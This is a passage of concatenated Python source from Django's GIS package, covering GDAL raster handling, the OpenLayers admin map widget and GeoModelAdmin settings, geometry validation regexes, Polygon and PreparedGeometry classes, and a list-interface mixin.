        self._write = 1 if write else 0
        Driver.ensure_registered()

        # Preprocess json inputs. This converts json strings to dictionaries,
        # which are parsed below the same way as direct dictionary inputs.
        if isinstance(ds_input, six.string_types) and json_regex.match(ds_input):
            ds_input = json.loads(ds_input)

        # If input is a valid file path, try setting file as source.
        if isinstance(ds_input, six.string_types):
            if not os.path.exists(ds_input):
                raise GDALException('Unable to read raster source input "{}"'.format(ds_input))
            try:
                # GDALOpen will auto-detect the data source type.
                self._ptr = capi.open_ds(force_bytes(ds_input), self._write)
            except GDALException as err:
                raise GDALException('Could not open the datasource at "{}" ({}).'.format(ds_input, err))
        elif isinstance(ds_input, dict):
            # A new raster needs to be created in write mode
            self._write = 1

            # Create driver (in memory by default)
            driver = Driver(ds_input.get('driver', 'MEM'))

            # For out of memory drivers, check filename argument
            if driver.name != 'MEM' and 'name' not in ds_input:
                raise GDALException('Specify name for creation of raster with driver "{}".'.format(driver.name))

            # Check if width and height where specified
            if 'width' not in ds_input or 'height' not in ds_input:
                raise GDALException('Specify width and height attributes for JSON or dict input.')

            # Check if srid was specified
            if 'srid' not in ds_input:
                raise GDALException('Specify srid for JSON or dict input.')

            # Create GDAL Raster
            self._ptr = capi.create_ds(
                driver._ptr,
                force_bytes(ds_input.get('name', '')),
                ds_input['width'],
                ds_input['height'],
                ds_input.get('nr_of_bands', len(ds_input.get('bands', []))),
                ds_input.get('datatype', 6),
                None
            )

            # Set band data if provided
            for i, band_input in enumerate(ds_input.get('bands', [])):
                band = self.bands[i]
                band.data(band_input['data'])
                if 'nodata_value' in band_input:
                    band.nodata_value = band_input['nodata_value']

            # Set SRID
            self.srs = ds_input.get('srid')

            # Set additional properties if provided
            if 'origin' in ds_input:
                self.origin.x, self.origin.y = ds_input['origin']

            if 'scale' in ds_input:
                self.scale.x, self.scale.y = ds_input['scale']

            if 'skew' in ds_input:
                self.skew.x, self.skew.y = ds_input['skew']
        elif isinstance(ds_input, c_void_p):
            # Instantiate the object using an existing pointer to a gdal raster.
            self._ptr = ds_input
        else:
            raise GDALException('Invalid data source input type: "{}".'.format(type(ds_input)))

    def __del__(self):
        try:
            capi.close_ds(self._ptr)
        except (AttributeError, TypeError):
            pass  # Some part might already have been garbage collected

    def __str__(self):
        return self.name

    def __repr__(self):
        """
        Short-hand representation because WKB may be very large.
        """
        return '<Raster object at %s>' % hex(addressof(self._ptr))

    def _flush(self):
        """
        Flush all data from memory into the source file if it exists.
        The data that needs flushing are geotransforms, coordinate systems,
        nodata_values and pixel values. This function will be called
        automatically wherever it is needed.
        """
        # Raise an Exception if the value is being changed in read mode.
        if not self._write:
            raise GDALException('Raster needs to be opened in write mode to change values.')
        capi.flush_ds(self._ptr)

    @property
    def name(self):
        """
        Returns the name of this raster. Corresponds to filename
        for file-based rasters.
        """
        return force_text(capi.get_ds_description(self._ptr))

    @cached_property
    def driver(self):
        """
        Returns the GDAL Driver used for this raster.
        """
        ds_driver = capi.get_ds_driver(self._ptr)
        return Driver(ds_driver)

    @property
    def width(self):
        """
        Width (X axis) in pixels.
        """
        return capi.get_ds_xsize(self._ptr)

    @property
    def height(self):
        """
        Height (Y axis) in pixels.
        """
        return capi.get_ds_ysize(self._ptr)

    @property
    def srs(self):
        """
        Returns the SpatialReference used in this GDALRaster.
        """
        try:
            wkt = capi.get_ds_projection_ref(self._ptr)
            if not wkt:
                return None
            return SpatialReference(wkt, srs_type='wkt')
        except SRSException:
            return None

    @srs.setter
    def srs(self, value):
        """
        Sets the spatial reference used in this GDALRaster. The input can be
        a SpatialReference or any parameter accepted by the SpatialReference
        constructor.
        """
        if isinstance(value, SpatialReference):
            srs = value
        elif isinstance(value, six.integer_types + six.string_types):
            srs = SpatialReference(value)
        else:
            raise ValueError('Could not create a SpatialReference from input.')
        capi.set_ds_projection_ref(self._ptr, srs.wkt.encode())
        self._flush()

    @property
    def srid(self):
        """
        Shortcut to access the srid of this GDALRaster.
        """
        return self.srs.srid

    @srid.setter
    def srid(self, value):
        """
        Shortcut to set this GDALRaster's srs from an srid.
        """
        self.srs = value

    @property
    def geotransform(self):
        """
        Returns the geotransform of the data source.
        Returns the default geotransform if it does not exist or has not been
        set previously. The default is [0.0, 1.0, 0.0, 0.0, 0.0, -1.0].
        """
        # Create empty ctypes double array for data
        gtf = (c_double * 6)()
        capi.get_ds_geotransform(self._ptr, byref(gtf))
        return list(gtf)

    @geotransform.setter
    def geotransform(self, values):
        "Sets the geotransform for the data source."
        if sum([isinstance(x, (int, float)) for x in values]) != 6:
            raise ValueError('Geotransform must consist of 6 numeric values.')
        # Create ctypes double array with input and write data
        values = (c_double * 6)(*values)
        capi.set_ds_geotransform(self._ptr, byref(values))
        self._flush()

    @property
    def origin(self):
        """
        Coordinates of the raster origin.
        """
        return TransformPoint(self, 'origin')

    @property
    def scale(self):
        """
        Pixel scale in units of the raster projection.
        """
        return TransformPoint(self, 'scale')

    @property
    def skew(self):
        """
        Skew of pixels (rotation parameters).
        """
        return TransformPoint(self, 'skew')

    @property
    def extent(self):
        """
        Returns the extent as a 4-tuple (xmin, ymin, xmax, ymax).
        """
        # Calculate boundary values based on scale and size
        xval = self.origin.x + self.scale.x * self.width
        yval = self.origin.y + self.scale.y * self.height
        # Calculate min and max values
        xmin = min(xval, self.origin.x)
        xmax = max(xval, self.origin.x)
        ymin = min(yval, self.origin.y)
        ymax = max(yval, self.origin.y)

        return xmin, ymin, xmax, ymax

    @property
    def bands(self):
        return BandList(self)

    def warp(self, ds_input, resampling='NearestNeighbour', max_error=0.0):
        """
        Returns a warped GDALRaster with the given input characteristics.

        The input is expected to be a dictionary containing the parameters
        of the target raster. Allowed values are width, height, SRID, origin,
        scale, skew, datatype, driver, and name (filename).

        By default, the warp functions keeps all parameters equal to the values
        of the original source raster. For the name of the target raster, the
        name of the source raster will be used and appended with
        _copy. + source_driver_name.

        In addition, the resampling algorithm can be specified with the "resampling"
        input parameter. The default is NearestNeighbor. For a list of all options
        consult the GDAL_RESAMPLE_ALGORITHMS constant.
        """
        # Get the parameters defining the geotransform, srid, and size of the raster
        if 'width' not in ds_input:
            ds_input['width'] = self.width

        if 'height' not in ds_input:
            ds_input['height'] = self.height

        if 'srid' not in ds_input:
            ds_input['srid'] = self.srs.srid

        if 'origin' not in ds_input:
            ds_input['origin'] = self.origin

        if 'scale' not in ds_input:
            ds_input['scale'] = self.scale

        if 'skew' not in ds_input:
            ds_input['skew'] = self.skew

        # Get the driver, name, and datatype of the target raster
        if 'driver' not in ds_input:
            ds_input['driver'] = self.driver.name

        if 'name' not in ds_input:
            ds_input['name'] = self.name + '_copy.' + self.driver.name

        if 'datatype' not in ds_input:
            ds_input['datatype'] = self.bands[0].datatype()

        # Set the number of bands
        ds_input['nr_of_bands'] = len(self.bands)

        # Create target raster
        target = GDALRaster(ds_input, write=True)

        # Copy nodata values to warped raster
        for index, band in enumerate(self.bands):
            target.bands[index].nodata_value = band.nodata_value

        # Select resampling algorithm
        algorithm = GDAL_RESAMPLE_ALGORITHMS[resampling]

        # Reproject image
        capi.reproject_image(
            self._ptr, self.srs.wkt.encode(),
            target._ptr, target.srs.wkt.encode(),
            algorithm, 0.0, max_error,
            c_void_p(), c_void_p(), c_void_p()
        )

        # Make sure all data is written to file
        target._flush()

        return target

    def transform(self, srid, driver=None, name=None, resampling='NearestNeighbour',
                  max_error=0.0):
        """
        Returns a copy of this raster reprojected into the given SRID.
        """
        # Convert the resampling algorithm name into an algorithm id
        algorithm = GDAL_RESAMPLE_ALGORITHMS[resampling]

        # Instantiate target spatial reference system
        target_srs = SpatialReference(srid)

        # Create warped virtual dataset in the target reference system
        target = capi.auto_create_warped_vrt(
            self._ptr, self.srs.wkt.encode(), target_srs.wkt.encode(),
            algorithm, max_error, c_void_p()
        )
        target = GDALRaster(target)

        # Construct the target warp dictionary from the virtual raster
        data = {
            'srid': srid,
            'width': target.width,
            'height': target.height,
            'origin': [target.origin.x, target.origin.y],
            'scale': [target.scale.x, target.scale.y],
            'skew': [target.skew.x, target.skew.y],
        }

        # Set the driver and filepath if provided
        if driver:
            data['driver'] = driver

        if name:
            data['name'] = name

        # Warp the raster into new srid
        return self.warp(data, resampling=resampling, max_error=max_error)






from django.contrib.admin import (
    HORIZONTAL, VERTICAL, AdminSite, ModelAdmin, StackedInline, TabularInline,
    autodiscover, register, site,
)
from django.contrib.gis.admin.options import GeoModelAdmin, OSMGeoAdmin
from django.contrib.gis.admin.widgets import OpenLayersWidget

__all__ = [
    'HORIZONTAL', 'VERTICAL', 'AdminSite', 'ModelAdmin', 'StackedInline',
    'TabularInline', 'autodiscover', 'register', 'site',
    'GeoModelAdmin', 'OSMGeoAdmin', 'OpenLayersWidget',
]






import logging

from django.contrib.gis.gdal import GDALException
from django.contrib.gis.geos import GEOSException, GEOSGeometry
from django.forms.widgets import Textarea
from django.template import loader
from django.utils import six, translation

# Creating a template context that contains Django settings
# values needed by admin map templates.
geo_context = {'LANGUAGE_BIDI': translation.get_language_bidi()}
logger = logging.getLogger('django.contrib.gis')


class OpenLayersWidget(Textarea):
    """
    Renders an OpenLayers map using the WKT of the geometry.
    """
    def render(self, name, value, attrs=None):
        # Update the template parameters with any attributes passed in.
        if attrs:
            self.params.update(attrs)
            self.params['editable'] = self.params['modifiable']
        else:
            self.params['editable'] = True

        # Defaulting the WKT value to a blank string -- this
        # will be tested in the JavaScript and the appropriate
        # interface will be constructed.
        self.params['wkt'] = ''

        # If a string reaches here (via a validation error on another
        # field) then just reconstruct the Geometry.
        if value and isinstance(value, six.string_types):
            try:
                value = GEOSGeometry(value)
            except (GEOSException, ValueError) as err:
                logger.error("Error creating geometry from value '%s' (%s)", value, err)
                value = None

        if (value and value.geom_type.upper() != self.geom_type and
                self.geom_type != 'GEOMETRY'):
            value = None

        # Constructing the dictionary of the map options.
        self.params['map_options'] = self.map_options()

        # Constructing the JavaScript module name using the name of
        # the GeometryField (passed in via the `attrs` keyword).
        # Use the 'name' attr for the field name (rather than 'field')
        self.params['name'] = name
        # note: we must switch out dashes for underscores since js
        # functions are created using the module variable
        js_safe_name = self.params['name'].replace('-', '_')
        self.params['module'] = 'geodjango_%s' % js_safe_name

        if value:
            # Transforming the geometry to the projection used on the
            # OpenLayers map.
            srid = self.params['srid']
            if value.srid != srid:
                try:
                    ogr = value.ogr
                    ogr.transform(srid)
                    wkt = ogr.wkt
                except GDALException as err:
                    logger.error(
                        "Error transforming geometry from srid '%s' to srid '%s' (%s)",
                        value.srid, srid, err
                    )
                    wkt = ''
            else:
                wkt = value.wkt

            # Setting the parameter WKT with that of the transformed
            # geometry.
            self.params['wkt'] = wkt

        self.params.update(geo_context)
        return loader.render_to_string(self.template, self.params)

    def map_options(self):
        "Builds the map options hash for the OpenLayers template."

        # JavaScript construction utilities for the Bounds and Projection.
        def ol_bounds(extent):
            return 'new OpenLayers.Bounds(%s)' % str(extent)

        def ol_projection(srid):
            return 'new OpenLayers.Projection("EPSG:%s")' % srid

        # An array of the parameter name, the name of their OpenLayers
        # counterpart, and the type of variable they are.
        map_types = [('srid', 'projection', 'srid'),
                     ('display_srid', 'displayProjection', 'srid'),
                     ('units', 'units', str),
                     ('max_resolution', 'maxResolution', float),
                     ('max_extent', 'maxExtent', 'bounds'),
                     ('num_zoom', 'numZoomLevels', int),
                     ('max_zoom', 'maxZoomLevels', int),
                     ('min_zoom', 'minZoomLevel', int),
                     ]

        # Building the map options hash.
        map_options = {}
        for param_name, js_name, option_type in map_types:
            if self.params.get(param_name, False):
                if option_type == 'srid':
                    value = ol_projection(self.params[param_name])
                elif option_type == 'bounds':
                    value = ol_bounds(self.params[param_name])
                elif option_type in (float, int):
                    value = self.params[param_name]
                elif option_type in (str,):
                    value = '"%s"' % self.params[param_name]
                else:
                    raise TypeError
                map_options[js_name] = value
        return map_options






from django.contrib.admin import ModelAdmin
from django.contrib.gis.admin.widgets import OpenLayersWidget
from django.contrib.gis.db import models
from django.contrib.gis.gdal import OGRGeomType

spherical_mercator_srid = 3857


class GeoModelAdmin(ModelAdmin):
    """
    The administration options class for Geographic models. Map settings
    may be overloaded from their defaults to create custom maps.
    """
    # The default map settings that may be overloaded -- still subject
    # to API changes.
    default_lon = 0
    default_lat = 0
    default_zoom = 4
    display_wkt = False
    display_srid = False
    extra_js = []
    num_zoom = 18
    max_zoom = False
    min_zoom = False
    units = False
    max_resolution = False
    max_extent = False
    modifiable = True
    mouse_position = True
    scale_text = True
    layerswitcher = True
    scrollable = True
    map_width = 600
    map_height = 400
    map_srid = 4326
    map_template = 'gis/admin/openlayers.html'
    openlayers_url = 'http://openlayers.org/api/2.13.1/OpenLayers.js'
    point_zoom = num_zoom - 6
    wms_url = 'http://vmap0.tiles.osgeo.org/wms/vmap0'
    wms_layer = 'basic'
    wms_name = 'OpenLayers WMS'
    wms_options = {'format': 'image/jpeg'}
    debug = False
    widget = OpenLayersWidget

    @property
    def media(self):
        "Injects OpenLayers JavaScript into the admin."
        media = super(GeoModelAdmin, self).media
        media.add_js([self.openlayers_url])
        media.add_js(self.extra_js)
        return media

    def formfield_for_dbfield(self, db_field, request, **kwargs):
        """
        Overloaded from ModelAdmin so that an OpenLayersWidget is used
        for viewing/editing 2D GeometryFields (OpenLayers 2 does not support
        3D editing).
        """
        if isinstance(db_field, models.GeometryField) and db_field.dim < 3:
            # Setting the widget with the newly defined widget.
            kwargs['widget'] = self.get_map_widget(db_field)
            return db_field.formfield(**kwargs)
        else:
            return super(GeoModelAdmin, self).formfield_for_dbfield(db_field, request, **kwargs)

    def get_map_widget(self, db_field):
        """
        Returns a subclass of the OpenLayersWidget (or whatever was specified
        in the `widget` attribute) using the settings from the attributes set
        in this class.
        """
        is_collection = db_field.geom_type in ('MULTIPOINT', 'MULTILINESTRING', 'MULTIPOLYGON', 'GEOMETRYCOLLECTION')
        if is_collection:
            if db_field.geom_type == 'GEOMETRYCOLLECTION':
                collection_type = 'Any'
            else:
                collection_type = OGRGeomType(db_field.geom_type.replace('MULTI', ''))
        else:
            collection_type = 'None'

        class OLMap(self.widget):
            template = self.map_template
            geom_type = db_field.geom_type

            wms_options = ''
            if self.wms_options:
                wms_options = ["%s: '%s'" % pair for pair in self.wms_options.items()]
                wms_options = ', %s' % ', '.join(wms_options)

            params = {'default_lon': self.default_lon,
                      'default_lat': self.default_lat,
                      'default_zoom': self.default_zoom,
                      'display_wkt': self.debug or self.display_wkt,
                      'geom_type': OGRGeomType(db_field.geom_type),
                      'field_name': db_field.name,
                      'is_collection': is_collection,
                      'scrollable': self.scrollable,
                      'layerswitcher': self.layerswitcher,
                      'collection_type': collection_type,
                      'is_generic': db_field.geom_type == 'GEOMETRY',
                      'is_linestring': db_field.geom_type in ('LINESTRING', 'MULTILINESTRING'),
                      'is_polygon': db_field.geom_type in ('POLYGON', 'MULTIPOLYGON'),
                      'is_point': db_field.geom_type in ('POINT', 'MULTIPOINT'),
                      'num_zoom': self.num_zoom,
                      'max_zoom': self.max_zoom,
                      'min_zoom': self.min_zoom,
                      'units': self.units,  # likely should get from object
                      'max_resolution': self.max_resolution,
                      'max_extent': self.max_extent,
                      'modifiable': self.modifiable,
                      'mouse_position': self.mouse_position,
                      'scale_text': self.scale_text,
                      'map_width': self.map_width,
                      'map_height': self.map_height,
                      'point_zoom': self.point_zoom,
                      'srid': self.map_srid,
                      'display_srid': self.display_srid,
                      'wms_url': self.wms_url,
                      'wms_layer': self.wms_layer,
                      'wms_name': self.wms_name,
                      'wms_options': wms_options,
                      'debug': self.debug,
                      }
        return OLMap


class OSMGeoAdmin(GeoModelAdmin):
    map_template = 'gis/admin/osm.html'
    num_zoom = 20
    map_srid = spherical_mercator_srid
    max_extent = '-20037508,-20037508,20037508,20037508'
    max_resolution = '156543.0339'
    point_zoom = num_zoom - 6
    units = 'm'












import re

# Regular expression for recognizing HEXEWKB and WKT.  A prophylactic measure
# to prevent potentially malicious input from reaching the underlying C
# library.  Not a substitute for good Web security programming practices.
hex_regex = re.compile(r'^[0-9A-F]+$', re.I)
wkt_regex = re.compile(r'^(SRID=(?P<srid>\-?\d+);)?'
                       r'(?P<wkt>'
                       r'(?P<type>POINT|LINESTRING|LINEARRING|POLYGON|MULTIPOINT|'
                       r'MULTILINESTRING|MULTIPOLYGON|GEOMETRYCOLLECTION)'
                       r'[ACEGIMLONPSRUTYZ\d,\.\-\(\) ]+)$',
                       re.I)
json_regex = re.compile(r'^(\s+)?\{.*}(\s+)?$', re.DOTALL)






from django.contrib.gis.geos import (
    GEOSException as GeometryException, GEOSGeometry as Geometry,
)

__all__ = ['Geometry', 'GeometryException']






from importlib import import_module

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured

geom_backend = getattr(settings, 'GEOMETRY_BACKEND', 'geos')

try:
    module = import_module('django.contrib.gis.geometry.backend.%s' % geom_backend)
except ImportError:
    try:
        module = import_module(geom_backend)
    except ImportError:
        raise ImproperlyConfigured('Could not import user-defined GEOMETRY_BACKEND '
                                   '"%s".' % geom_backend)

try:
    Geometry = module.Geometry
    GeometryException = module.GeometryException
except AttributeError:
    raise ImproperlyConfigured('Cannot import Geometry from the "%s" '
                               'geometry backend.' % geom_backend)






from .base import GEOSBase
from .prototypes import prepared as capi


class PreparedGeometry(GEOSBase):
    """
    A geometry that is prepared for performing certain operations.
    At the moment this includes the contains covers, and intersects
    operations.
    """
    ptr_type = capi.PREPGEOM_PTR

    def __init__(self, geom):
        # Keeping a reference to the original geometry object to prevent it
        # from being garbage collected which could then crash the prepared one
        # See #21662
        self._base_geom = geom
        from .geometry import GEOSGeometry
        if not isinstance(geom, GEOSGeometry):
            raise TypeError
        self.ptr = capi.geos_prepare(geom.ptr)

    def __del__(self):
        try:
            capi.prepared_destroy(self._ptr)
        except (AttributeError, TypeError):
            pass  # Some part might already have been garbage collected

    def contains(self, other):
        return capi.prepared_contains(self.ptr, other.ptr)

    def contains_properly(self, other):
        return capi.prepared_contains_properly(self.ptr, other.ptr)

    def covers(self, other):
        return capi.prepared_covers(self.ptr, other.ptr)

    def intersects(self, other):
        return capi.prepared_intersects(self.ptr, other.ptr)

    def crosses(self, other):
        return capi.prepared_crosses(self.ptr, other.ptr)

    def disjoint(self, other):
        return capi.prepared_disjoint(self.ptr, other.ptr)

    def overlaps(self, other):
        return capi.prepared_overlaps(self.ptr, other.ptr)

    def touches(self, other):
        return capi.prepared_touches(self.ptr, other.ptr)

    def within(self, other):
        return capi.prepared_within(self.ptr, other.ptr)






from ctypes import byref, c_uint

from django.contrib.gis.geos import prototypes as capi
from django.contrib.gis.geos.geometry import GEOSGeometry
from django.contrib.gis.geos.libgeos import GEOM_PTR, get_pointer_arr
from django.contrib.gis.geos.linestring import LinearRing
from django.utils import six
from django.utils.six.moves import range


class Polygon(GEOSGeometry):
    _minlength = 1

    def __init__(self, *args, **kwargs):
        """
        Initializes on an exterior ring and a sequence of holes (both
        instances may be either LinearRing instances, or a tuple/list
        that may be constructed into a LinearRing).

        Examples of initialization, where shell, hole1, and hole2 are
        valid LinearRing geometries:
        >>> from django.contrib.gis.geos import LinearRing, Polygon
        >>> shell = hole1 = hole2 = LinearRing()
        >>> poly = Polygon(shell, hole1, hole2)
        >>> poly = Polygon(shell, (hole1, hole2))

        >>> # Example where a tuple parameters are used:
        >>> poly = Polygon(((0, 0), (0, 10), (10, 10), (0, 10), (0, 0)),
        ...                ((4, 4), (4, 6), (6, 6), (6, 4), (4, 4)))
        """
        if not args:
            super(Polygon, self).__init__(self._create_polygon(0, None), **kwargs)
            return

        # Getting the ext_ring and init_holes parameters from the argument list
        ext_ring = args[0]
        init_holes = args[1:]
        n_holes = len(init_holes)

        # If initialized as Polygon(shell, (LinearRing, LinearRing)) [for backward-compatibility]
        if n_holes == 1 and isinstance(init_holes[0], (tuple, list)):
            if len(init_holes[0]) == 0:
                init_holes = ()
                n_holes = 0
            elif isinstance(init_holes[0][0], LinearRing):
                init_holes = init_holes[0]
                n_holes = len(init_holes)

        polygon = self._create_polygon(n_holes + 1, (ext_ring,) + init_holes)
        super(Polygon, self).__init__(polygon, **kwargs)

    def __iter__(self):
        "Iterates over each ring in the polygon."
        for i in range(len(self)):
            yield self[i]

    def __len__(self):
        "Returns the number of rings in this Polygon."
        return self.num_interior_rings + 1

    @classmethod
    def from_bbox(cls, bbox):
        "Constructs a Polygon from a bounding box (4-tuple)."
        x0, y0, x1, y1 = bbox
        for z in bbox:
            if not isinstance(z, six.integer_types + (float,)):
                return GEOSGeometry('POLYGON((%s %s, %s %s, %s %s, %s %s, %s %s))' %
                                    (x0, y0, x0, y1, x1, y1, x1, y0, x0, y0))
        return Polygon(((x0, y0), (x0, y1), (x1, y1), (x1, y0), (x0, y0)))

    # ### These routines are needed for list-like operation w/ListMixin ###
    def _create_polygon(self, length, items):
        # Instantiate LinearRing objects if necessary, but don't clone them yet
        # _construct_ring will throw a TypeError if a parameter isn't a valid ring
        # If we cloned the pointers here, we wouldn't be able to clean up
        # in case of error.
        if not length:
            return capi.create_empty_polygon()

        rings = []
        for r in items:
            if isinstance(r, GEOM_PTR):
                rings.append(r)
            else:
                rings.append(self._construct_ring(r))

        shell = self._clone(rings.pop(0))

        n_holes = length - 1
        if n_holes:
            holes = get_pointer_arr(n_holes)
            for i, r in enumerate(rings):
                holes[i] = self._clone(r)
                holes_param = byref(holes)
        else:
            holes_param = None

        return capi.create_polygon(shell, holes_param, c_uint(n_holes))

    def _clone(self, g):
        if isinstance(g, GEOM_PTR):
            return capi.geom_clone(g)
        else:
            return capi.geom_clone(g.ptr)

    def _construct_ring(self, param, msg=(
            'Parameter must be a sequence of LinearRings or objects that can initialize to LinearRings')):
        "Helper routine for trying to construct a ring from the given parameter."
        if isinstance(param, LinearRing):
            return param
        try:
            ring = LinearRing(param)
            return ring
        except TypeError:
            raise TypeError(msg)

    def _set_list(self, length, items):
        # Getting the current pointer, replacing with the newly constructed
        # geometry, and destroying the old geometry.
        prev_ptr = self.ptr
        srid = self.srid
        self.ptr = self._create_polygon(length, items)
        if srid:
            self.srid = srid
        capi.destroy_geom(prev_ptr)

    def _get_single_internal(self, index):
        """
        Returns the ring at the specified index.  The first index, 0, will
        always return the exterior ring.  Indices > 0 will return the
        interior ring at the given index (e.g., poly[1] and poly[2] would
        return the first and second interior ring, respectively).

        CAREFUL: Internal/External are not the same as Interior/Exterior!
        _get_single_internal returns a pointer from the existing geometries for use
        internally by the object's methods.  _get_single_external returns a clone
        of the same geometry for use by external code.
        """
        if index == 0:
            return capi.get_extring(self.ptr)
        else:
            # Getting the interior ring, have to subtract 1 from the index.
            return capi.get_intring(self.ptr, index - 1)

    def _get_single_external(self, index):
        return GEOSGeometry(capi.geom_clone(self._get_single_internal(index)), srid=self.srid)

    _set_single = GEOSGeometry._set_single_rebuild
    _assign_extended_slice = GEOSGeometry._assign_extended_slice_rebuild

    # #### Polygon Properties ####
    @property
    def num_interior_rings(self):
        "Returns the number of interior rings."
        # Getting the number of rings
        return capi.get_nrings(self.ptr)

    def _get_ext_ring(self):
        "Gets the exterior ring of the Polygon."
        return self[0]

    def _set_ext_ring(self, ring):
        "Sets the exterior ring of the Polygon."
        self[0] = ring

    # Properties for the exterior ring/shell.
    exterior_ring = property(_get_ext_ring, _set_ext_ring)
    shell = exterior_ring

    @property
    def tuple(self):
        "Gets the tuple for each ring in this Polygon."
        return tuple(self[i].tuple for i in range(len(self)))
    coords = tuple

    @property
    def kml(self):
        "Returns the KML representation of this Polygon."
        inner_kml = ''.join(
            "<innerBoundaryIs>%s</innerBoundaryIs>" % self[i + 1].kml
            for i in range(self.num_interior_rings)
        )
        return "<Polygon><outerBoundaryIs>%s</outerBoundaryIs>%s</Polygon>" % (self[0].kml, inner_kml)






class GEOSException(Exception):
    "The base GEOS exception, indicates a GEOS-related error."
    pass






# Copyright (c) 2008-2009 Aryeh Leib Taurog, all rights reserved.
# Released under the New BSD license.
"""
This module contains a base type which provides list-style mutations
without specific data storage methods.

See also http://static.aryehleib.com/oldsite/MutableLists.html

Author: Aryeh Leib Taurog.
"""
from functools import total_ordering

from django.utils import six
from django.utils.six.moves import range


@total_ordering
class ListMixin(object):
    """
    A base class which provides complete list interface.
    Derived classes must call ListMixin's __init__() function
    and implement the following:

    function _get_single_external(self, i):
        Return single item with index i for general use.
        The index i will always satisfy 0 <= i < len(self).

    function _get_single_internal(self, i):
        Same as above, but for use within the class [Optional]
        Note that if _get_single_internal and _get_single_internal return
        different types of objects, _set_list must distinguish
        between the two and handle each appropriately.

    function _set_list(self, length, items):
        Recreate the entire object.

        NOTE: items may be a generator which calls _get_single_internal.
        Therefore, it is necessary to cache the values in a temporary:
            temp = list(items)
        before clobbering the original storage.

    function _set_single(self, i, value):
        Set the single item at index i to value [Optional]
        If left undefined, all mutations will result in rebuilding
        the object using _set_list.

    function __len__(self):
        Return the length

    int _minlength:
        The minimum legal length [Optional]

    int _maxlength:
        The maximum legal length [Optional]

    type or tuple _allowed:
        A type or tuple of allowed item types [Optional]
    """

    _minlength = 0
    _maxlength = None

    # ### Python initialization and special list interface methods ###

    def __init__(self, *args, **kwargs):
        if not hasattr(self, '_get_single_internal'):
            self._get_single_internal = self._get_single_external

        if not hasattr(self, '_set_single'):
            self._set_single = self._set_single_rebuild
            self._assign_extended_slice = self._assign_extended_slice_rebuild

        super(ListMixin, self).__init__(*args, **kwargs)

    def __getitem__(self, index):
        "Get the item(s) at the specified index/slice."
        if isinstance(index, slice):
            return [self._get_single_external(i) for i in range(*index.indices(len(self)))]
        else:
            index = self._checkindex(index)
            return self._get_single_external(index)

    def __delitem__(self, index):
        "Delete the item(s) at the specified index/slice."
        if not isinstance(index, six.integer_types + (slice,)):
            raise TypeError("%s is not a legal index" % index)

        # calculate new length and dimensions
        origLen = len(self)
        if isinstance(index, six.integer_types):
            index = self._checkindex(index)
            indexRange = [index]
        else:
            indexRange = range(*index.indices(origLen))

        newLen = origLen - len(indexRange)
        newItems = (self._get_single_internal(i)
                    for i in range(origLen)
                    if i not in indexRange)

        self._rebuild(newLen, newItems)

    def __setitem__(self, index, val):
        "Set the item(s) at the specified index/slice."
        if isinstance(index, slice):
            self._set_slice(index, val)
        else:
            index = self._checkindex(index)
            self._check_allowed((val,))
            self._set_single(index, val)

    # ### Special methods for arithmetic operations ###
    def __add__(self, other):
        'add another list-like object'
        return self.__class__(list(self) + list(other))

    def __radd__(self, other):
        'add to another list-like object'
        return other.__class__(list(other) + list(self))

    def __iadd__(self, other):
        'add another list-like object to self'
        self.extend(list(other))
        return self

    def __mul__(self, n):
        'multiply'
        return self.__class__(list(self) * n)

    def __rmul__(self, n):
        'multiply'
        return self.__class__(list(self) * n)

    def __imul__(self, n):
        'multiply'
        if n <= 0:
            del self[:]
        else:
            cache = list(self)
            for i in range(n - 1):
                self.extend(cache)
        return self

    def __eq__(self, other):
        olen = len(other)
        for i in range(olen):
            try:
                c = self[i] == other[i]
            except IndexError:
                # self must be shorter
                return False
            if not c:
                return False
        return len(self) == olen

    def __lt__(self, other):
        olen = len(other)
        for i in range(olen):
            try:
                c = self[i] < other[i]
            except IndexError:
                # self must be shorter
                return True
            if c:
                return c
            elif other[i] < self[i]:
                return False
        return len(self) < olen

    # ### Public list interface Methods ###
    # ## Non-mutating ##
    def count(self, val):
        "Standard list count method"
        count = 0
        for i in self:
            if val == i:
                count += 1
        return count

    def index(self, val):
        "Standard list index method"
        for i in range(0, len(self)):
            if self[i] == val:
                return i
        raise ValueError('%s not found in object' % str(val))

    # ## Mutating ##
    def append(self, val):
        "Standard list append method"
        self[len(self):] = [val]

    def extend(self, vals):
        "Standard list extend method"
        self[len(self):] = vals

    def insert(self, index, val):
        "Standard list insert method"
        if not isinstance(index, six.integer_types):
            raise TypeError("%s is not a legal index" % index)
        self[index:index] = [val]

    def pop(self, index=-1):
        "Standard list pop method"
        result = self[index]
        del self[index]
        return result

    def remove(self, val):
        "Standard list remove method"
        del self[self.index(val)]

    def reverse(self):
        "Standard list reverse method"
        self[:] = self[-1::-1]

    def sort(self, cmp=None, key=None, reverse=False):
        "Standard list sort method"
        if key:
            temp = [(key(v), v) for v in self]
            temp.sort(key=lambda x: x[0], reverse=reverse)
            self[:] = [v[1] for v in temp]
        else:
            temp = list(self)
            if cmp is not None:
                temp.sort(cmp=cmp, reverse=reverse)
            else:
                temp.sort(reverse=reverse)
            self[:] = temp

    # ### Private routines ###
    def _rebuild(self, newLen, newItems):
        if newLen and newLen < self._minlength:
            raise ValueError('Must have at least %d items' % self._minlength)
        if self._maxlength is not None and newLen > self._maxlength:
            raise ValueError('Cannot have more than %d items' % self._maxlength)

        self._set_list(newLen, newItems)

    def _set_single_rebuild(self, index, value):
        self._set_slice(slice(index, index + 1, 1), [value])

    def _checkindex(self, index, correct=True):
        length = len(self)
        if 0 <= index < length:
            return index
        if correct and -length <= index < 0:
            return index + length
        raise IndexError('invalid index: %s' % str(index))

    def _check_allowed(self, items):
        if hasattr(self, '_allowed'):
            if False in [isinstance(val, self._allowed) for val in items]:
                raise TypeError('Invalid type encountered in the arguments.')

    def _set_slice(self, index, values):
        "Assign values to a slice of the object"
        try:
            iter(values)
        except TypeError:
            raise TypeError('can only assign an iterable to a slice')

        self._check_allowed(values)

        origLen = len(self)
        valueList = list(values)
        start, stop, step = index.indices(origLen)

        # CAREFUL: index.step and step are not the same!
        # step will never be None
        if index.step is None:
            self._assign_simple_slice(start, stop, valueList)
        else:
            self._assign_extended_slice(start, stop, step, valueList)

    def _assign_extended_slice_rebuild(self, start, stop, step, valueList):
        'Assign an extended slice by rebuilding entire list'
        indexList = range(start, stop, step)
        # extended slice, only allow assigning slice of same size
        if len(valueList) != len(indexList):
            raise ValueError('attempt to assign sequence of size %d '
                             'to extended slice of size %d'
                             % (len(valueList), len(indexList)))

